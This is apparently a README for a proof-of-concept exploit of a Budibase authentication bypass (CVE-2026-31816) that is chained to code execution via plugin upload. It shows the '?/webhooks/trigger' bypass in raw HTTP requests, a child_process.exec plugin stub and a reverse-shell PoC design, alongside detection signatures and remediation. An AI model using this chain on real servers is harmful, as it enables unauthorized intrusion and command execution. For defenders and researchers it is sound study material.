## https://sploitus.com/exploit?id=FD7989FE-1334-5694-B4FB-8C6FA6051A41
# CVE-2026-31816 — Budibase Authentication Bypass → RCE
**CVE-2026-31816** is a critical authentication and authorization bypass vulnerability affecting Budibase.
The vulnerability exists in the server-side authorization middleware responsible for protecting API endpoints. Budibase attempts to identify legitimate webhook endpoints with an unanchored regular expression and evaluates that expression against Koa's `ctx.request.url`.
Because `ctx.request.url` contains the query string, an attacker can inject a webhook-looking path into the query component of an otherwise unrelated API request.
For example:
```text
/api/integrations?/webhooks/trigger
```
The request does not actually target the webhook endpoint. However, the vulnerable check can interpret `/webhooks/trigger` as evidence that the request is a legitimate webhook request and allow execution to continue without normal authentication and authorization checks.
NVD describes the issue as allowing a completely unauthenticated remote attacker to access server-side API endpoints by appending a webhook path pattern to the URL.
---
## Vulnerability Information
| Field | Value |
| ----------------------- | ------------------------------------- |
| CVE | CVE-2026-31816 |
| Vendor | Budibase |
| Product | Budibase |
| Affected versions | `
Connection: close
Content-Length: 12
{"query":{}}
```
The official Budibase advisory documents this endpoint as one of the affected API surfaces.
Other server-side endpoints documented as reachable through the same flaw include:
```text
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
```
The key observation is that the vulnerability is not tied to one particular application resource. The affected authorization middleware sits in front of a broad set of server-side APIs.
---
# Exploitation Chain
The authentication bypass can become considerably more serious when combined with a sensitive API capable of accepting attacker-controlled functionality.
The PoC in this repository chains the vulnerability as follows:
```text
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
```
## The PoC first verifies the bypass against `/api/integrations`, then builds a Budibase plugin archive and submits it through `/api/plugin/upload`.
# Raw HTTP Request — Plugin Upload
Once authorization has been bypassed, the plugin-upload request follows the normal multipart upload format, with the vulnerable webhook query appended to the URL.
A sanitized representation is:
```http
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
--------------------------boundary--
```
The repository PoC creates this multipart request with a `.tar.gz` plugin archive and sends it to `/api/plugin/upload?/webhooks/trigger`.
For safety, the request above intentionally leaves the executable archive as a placeholder rather than embedding a reverse-shell payload directly in the documentation.
---
# Plugin Construction
The PoC generates a plugin archive containing:
```text
package.json
schema.json
datasource-helper.js
```
The archive is created as a gzip-compressed tarball.
The JavaScript component is constructed so that Node.js loads `child_process` and executes a supplied command:
```js
var cp = require("child_process");
var cmd = "";
cp.exec(cmd);
```
The repository implementation supports multiple payload types and generates the corresponding command dynamically.
This is the second stage of the chain:
```text
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
```
---
# Why the Bug Happens
The vulnerability is fundamentally a URL parsing and trust-boundary mistake.
The application needs some webhook routes to be publicly accessible. Instead of determining whether the **actual request path** belongs to an allowed webhook route, the vulnerable implementation searches the entire URL for a matching substring.
Conceptually:
```text
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
```
Because the query string is attacker-controlled, an attacker can place the string expected by the webhook detector anywhere in the URL.
That causes a security-sensitive boolean check to return the wrong result:
```text
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
```
The Budibase advisory explicitly describes the early `return next()` behavior and the resulting security-check bypass.
---
# Impact
The vulnerability is considerably broader than a simple login bypass.
According to the vendor advisory, exploitation can provide unauthenticated access to server-side APIs affecting:
* application data
* tables
* rows
* automations
* datasources
* queries
* views
* plugins
* roles and other administrative resources
The advisory also confirms that the bypass eliminates CSRF protection and requires neither user interaction nor existing credentials.
When a vulnerable API capable of processing attacker-controlled functionality is reachable through the bypass, the vulnerability can be chained into arbitrary code execution.
The PoC included in this repository demonstrates that attack path by building a plugin archive, uploading it, and waiting for execution.
---
# Detection
A basic detection strategy is to compare authentication behavior for an ordinary request and the same request with a webhook-style query suffix.
Example:
```bash
curl -i http://127.0.0.1:10000/api/integrations
```
versus:
```bash
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
```
A vulnerable installation may expose a protected endpoint through the second request.
This technique is also used by publicly available detection material for CVE-2026-31816.
---
# Affected Versions
The NVD entry identifies:
```text
Budibase <= 3.31.4
```
as affected.
There is an important documentation discrepancy worth noting: the live GitHub security advisory currently displays **"Patched versions: None"**, while independent vulnerability references identify **3.31.5 and later** as the remediation boundary.
For that reason, this repository should not present `3.31.5` as an unquestionable vendor-confirmed patch unless the corresponding Budibase release/change is independently verified.
---
# Remediation
The primary remediation is to upgrade Budibase to a version containing the upstream fix.
Until patching is possible, defensive controls can include:
```text
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
```
The vulnerability is especially concerning for internet-exposed self-hosted deployments because the attack requires no authenticated session.
---
# Detection Signature
A useful log-level indicator is an API request containing a webhook route pattern in the query string:
```text
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
```
For example:
```text
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
```
These patterns should be investigated rather than automatically treated as proof of exploitation, since legitimate traffic and application-specific behavior must also be considered.
---
# PoC Architecture
The exploit implementation in this repository is divided into several logical components:
```text
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
```
The implementation also contains an optional listener for receiving a shell connection after successful exploitation.
---
# Example Verification Flow
For a controlled lab:
```text
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
```
## The repository PoC performs the vulnerability check before attempting the second-stage upload, aborting when the initial check fails.
# Security Research Notes
This vulnerability is a good example of why security-sensitive URL matching should be performed against a properly parsed and normalized request path rather than an attacker-controlled full URL string.
The bug is subtle because the webhook functionality itself is legitimate. The problem is the trust decision made by the middleware:
```text
"Does this request target a webhook?"
```
is effectively answered by:
```text
"Does the entire URL contain a webhook-looking substring?"
```
Those are not equivalent security properties.
An attacker therefore does not need to make their request actually become a webhook request. They only need to make the authorization middleware *believe* that it is one.
---
# References
* NVD: **CVE-2026-31816**
* Budibase Security Advisory: **GHSA-gw94-hprh-4wj8**
* CVE record / public vulnerability databases
* Budibase release history
* Public detection and research material for CVE-2026-31816
---
# Disclaimer
This repository is intended for **security research, vulnerability validation, and authorized testing**.
Do not use the exploit against systems you do not own or have explicit permission to test.